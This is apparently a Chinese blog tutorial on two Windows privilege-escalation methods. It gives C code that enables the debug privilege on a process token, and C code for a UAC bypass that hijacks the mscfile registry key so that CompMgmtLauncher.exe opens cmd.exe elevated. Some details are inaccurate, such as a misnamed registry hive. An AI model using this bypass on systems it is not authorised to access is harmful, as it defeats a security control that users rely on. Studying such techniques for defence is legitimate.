基于Windows上的几种提权手段

0x01 进程未筛选的令牌提权


自从Vista之后Windows就开始实行了UAC机制(https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835540(v=ws.10))。

无论是标准用户还是特权用户都以标准用户权限运行程序。除非用户特别选择以管理员权限运行程序并且系统会提示一个权限提升的对话框。如果当时正处于标准用户登陆状态,则系统会要求输入管理员账号密码以此来进行一次管理员权限的程序运行。

在这个基础上,Windows还会生成两个令牌,一个是完全权限的令牌还有一个则是未筛选的令牌,通常情况系统默认使用未筛选的令牌运行程序,这会导致访问权限不足而运行失败(比如调用OpenProcess等API)。我们需要把未筛选的令牌权限提升才能正常运行一些需要某些特殊权限的进程。

这里介绍如何进行未筛选令牌权限的提升即获取Debug权限,除了获取管理员权限再获取该权限后便能进行很多操作了。要获取Debug权限那就必须要在进程的访问令牌上做手脚,所以首先需要调用OpenProcessToken打开进程令牌。来看一下该函数原型:

BOOL OpenProcessToken(
  HANDLE  ProcessHandle, // 需要打开进程令牌的进程句柄
  DWORD   DesiredAccess, // 想要修改令牌权限, 需要设置为TOKEN_ADJUST_PRIVILEGES
  PHANDLE TokenHandle // 输出参数,获得的进程令牌句柄
);

这里给出第二个参数即DesiredAccess的所有参数, MSDN地址: https://docs.microsoft.com/zh-cn/windows/desktop/SecAuthZ/access-rights-for-access-token-objects

 接下去通过LookupPrivilegeValue来获取具体的LUID值并填充TOKEN_PRIVILEGES结构体。最后调用AdjustTokenPrivileges来获取DEBUG权限。首先看一下TOKEN_PRIVILEGES结构体:

typedef struct _TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; // 该结构体具体内容在下方
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;

typedef struct _LUID_AND_ATTRIBUTES {
  LUID  Luid;
  DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

TOKEN_PRIVILEGES中包含两项内容,第一项是PrivilegeCount意味着所需特权的数量,第二项是LUID_AND_ATTRIBUTES结构体数组,里面包含着LUID和具体想要获得的特权属性。

就拿我们目前来举例,我们只需要一项令牌权限,就是DEBUG权限。所以把PrivilegeCount简单赋1即可。正因如此我们的LUID_AND_ATTRIUTES结构体数组只需要填充一项以此来与PrivilegeCount配合。Attribute填入SE_PRIVILEGE_ENABLED来表示这是为了允许某项权限。在LookupPrivilegeValue中我们获取某项权限特定的LUID数值。这里的链接给出所有令牌权限的可用数值:

https://docs.microsoft.com/zh-cn/windows/desktop/SecAuthZ/privilege-constants

接下去贴出代码实例:

#include <windows.h>
#include <tchar.h>

BOOL ElevatePrivileges(HANDLE hProcess, LPCTSTR lpszPrivilegeName) {
	HANDLE hToken = NULL;
	TOKEN_PRIVILEGES tp = {0};

	if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
		_tprintf("OpenProcessToken error: %d", GetLastError());
		return(FALSE);
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if (!LookupPrivilegeValue(NULL, lpszPrivilegeName, &(tp.Privileges[0].Luid))) {
		_tprintf("LookupPrivilegeValue error: %d", GetLastError());
		CloseHandle(hToken);
		return(FALSE);
	}
	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
		CloseHandle(hToken);
		return(FALSE);
	}

	CloseHandle(hToken);

	return(TRUE);
}

int _tmain() {
    if (ElevatePrivileges(GetCurrentProcess(), SE_DEBUG_NAME)) {
        // ...
    }

    return(0);
}

 

0x02 通过白名单程序来ByPass UAC


在C:\\Windows\\System32目录下的进程基本上都是白名单程序(不需要通过UAC机制即不会显示管理员权限提升提示对话框的程序)。其中有一个程序叫CompMgmtLauncher.exe。该程序用于启动计算机管理程序。其启动时的特点是:

1. 查询注册表中HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\(default)中填入的路径。并打开路径中的进程

2. 如果该注册表项或该路径不存在则转向HKEY_CURRENT_ROOT\\mscfile\shell\\open\\command\\(default)中读取。其写入的是mmc.exe进程的路径信息,正是如此便打开了计算机管理的进程。

从中我们可以得知,只要第一步中读取到了进程路径那么便会直接以管理员权限打开该进程。也就是说我们只要把想要ByPass的进程路径写入HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\(default)即可。

那么这个问题也简单的转化成了往HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\(default)中填写一个进程的路径。看如下代码:

#include <windows.h>
#include <tchar.h>
#include <cstdio>
#define BYPASSUAC "Software\\Classes\\mscfile\\shell\\open\\command"

int _tmain() {
	HKEY hKey;
	TCHAR szExePath[MAX_PATH] = {0};

	if (ERROR_SUCCESS != RegCreateKeyEx(HKEY_CURRENT_USER, BYPASSUAC, 0, NULL, 0,
		KEY_ALL_ACCESS, NULL, &hKey, NULL)) {
		printf("RegCreateKeyEx 错误代码: %d\n", GetLastError());
		return(-1);
	}
		
	GetSystemDirectory(szExePath, MAX_PATH);
	_tcscat_s(szExePath, _countof(szExePath), "\\cmd.exe");
	printf("%s\n", szExePath);
	if (ERROR_SUCCESS == RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)szExePath, _tcslen(szExePath) + 1))
		printf("Succeeded!\n");
	else
		printf("Failed!\n");
        RegCloseKey(hKey);

	return(0);
}

上面我们把通过CompMgmtLauncher.exe打开mmc.exe改变成了通过其打开cmd.exe。本质上我们是通过被动等待用户打开白名单程序顺带帮我们打开我们想要的程序(Bypass UAC).

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值